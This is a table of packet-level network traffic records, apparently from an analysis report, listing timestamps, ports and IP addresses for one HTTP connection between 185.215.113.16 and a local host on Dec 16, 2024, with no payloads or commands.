Dec 16, 2024 13:16:40.086324930 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.086360931 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.087204933 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.087249041 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.087335110 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.087372065 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.088414907 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.088464022 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.088558912 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.088593960 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.089581013 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.089628935 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.089663029 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.089709997 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.090780973 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.090826988 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.090900898 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.090936899 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.091922998 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.091989994 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.221719980 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.221756935 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.221858025 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.222321033 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.222404003 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.222448111 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.223515987 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.223562002 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.223644972 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.223699093 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.224693060 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.224791050 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.224841118 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.225857019 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.225948095 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.226013899 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.227130890 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.227179050 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.227283955 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.227351904 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.228283882 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.228494883 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.228655100 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.228992939 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.229597092 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.229645014 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.229808092 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.229847908 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.230736017 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.230792999 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.230818987 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.231148005 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.231826067 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.231914043 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.231966972 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.232002974 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.233006001 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.233059883 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.233181000 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.234277964 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.234294891 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.234344006 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.235363007 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.235440969 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.235474110 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.235513926 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.236588001 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.236637115 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.236660957 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.236685991 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.237749100 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.237802982 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.237879992 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.237927914 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.238993883 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.239053011 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.239072084 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.239106894 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.240132093 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.240176916 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.240358114 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.240401983 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.241322994 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.241478920 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.241503000 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.241522074 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.242516994 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.242655039 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.242702007 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.243696928 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.243750095 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.243839025 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.243881941 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.244910002 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.244962931 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.244982004 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.245012045 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.246097088 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.246190071 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.246233940 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.247329950 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.247400045 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.247426987 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.247502089 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.248461008 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.248529911 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.248588085 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.248645067 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.249661922 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.249727011 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.249809027 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.249895096 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.250854969 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.251164913 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.251214027 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.252082109 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.252154112 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.252208948 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.253223896 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.253314018 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.253343105 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.253362894 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.254473925 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.254522085 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.254548073 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.254656076 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.255625963 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.255808115 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.255852938 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.256798029 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.256846905 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.256930113 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.256978989 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.257961988 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.258002043 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.258061886 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.258131027 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.259160995 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.259257078 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.259308100 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.260373116 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.260437012 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.260497093 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.260581017 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.262146950 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.262315035 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.262391090 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.262700081 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.262747049 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.262811899 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.262856960 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.263917923 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.263977051 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.264043093 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.264080048 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.265099049 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.265167952 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.265225887 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.265270948 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.266283989 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.266335011 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.266484022 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.266527891 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.267515898 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.267571926 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.267599106 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.267640114 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.268690109 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.268748999 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.268863916 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.269336939 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.269849062 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.269898891 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.269968987 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.270015001 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.271044970 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.271100044 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.271253109 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.271334887 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.272243023 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.272299051 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.272335052 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.272380114 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.273449898 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.273523092 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.273536921 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.273581982 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.274581909 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.274646044 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.274713039 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.274760962 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.275816917 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.275924921 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.275983095 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.276988983 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.277057886 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.277091026 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.277152061 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.278186083 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.278280973 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.278337002 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.279362917 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.279454947 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.279509068 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.280550003 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.280643940 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.280694008 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.281759024 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.281841993 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.281860113 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.281938076 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.282927990 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.282978058 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.282999039 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.283062935 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.284063101 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.284116983 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.414196968 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.414325953 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.414330959 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.414422035 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.414664984 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.414802074 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.414854050 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.415652990 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.415715933 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.415795088 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.415849924 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.416801929 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.416861057 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.416922092 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.417979956 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.418042898 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.418132067 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.418183088 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.419189930 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.419298887 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.419385910 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.420345068 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.420425892 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.420435905 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.420490026 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.421550035 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.421672106 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.421731949 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.422868013 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.422930956 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.422975063 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.423026085 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.424067020 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.424148083 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.424154043 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.424216032 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.425144911 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.425228119 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.425266027 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.425328016 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.426583052 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.426652908 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.426743984 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.426846981 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.427539110 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.427603006 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.427637100 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.427764893 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.428663015 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.428711891 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.428802013 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.428848982 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.429891109 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.429946899 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.430023909 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.430088043 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.431579113 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.431636095 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.431768894 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.431821108 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.433037043 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.433096886 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.433193922 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.433257103 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.434022903 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.434092999 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.434123993 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.434166908 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.435014963 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.435071945 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.435105085 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.435148954 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.436057091 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.436125994 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.436167955 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.436227083 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.437499046 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.437598944 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.437654972 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.438633919 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.438685894 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.438694954 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.438739061 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.439426899 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.439475060 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.439488888 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.439531088 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.440560102 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.440613031 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.440749884 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.440797091 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.441756010 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.441797972 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.441836119 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.441875935 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.443031073 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.443044901 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.443109989 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.443110943 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.444171906 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.444227934 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.444264889 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.444319963 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.445307970 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.445363045 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.445441961 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.445482969 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.446758986 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.446816921 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.446872950 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.446921110 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.447906017 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.447946072 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.448251963 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.448298931 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.449150085 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.449212074 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.449254036 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.450187922 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.450234890 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.450263977 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.450297117 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.451277971 CET	80	49770	185.215.113.16	192.168.2.8
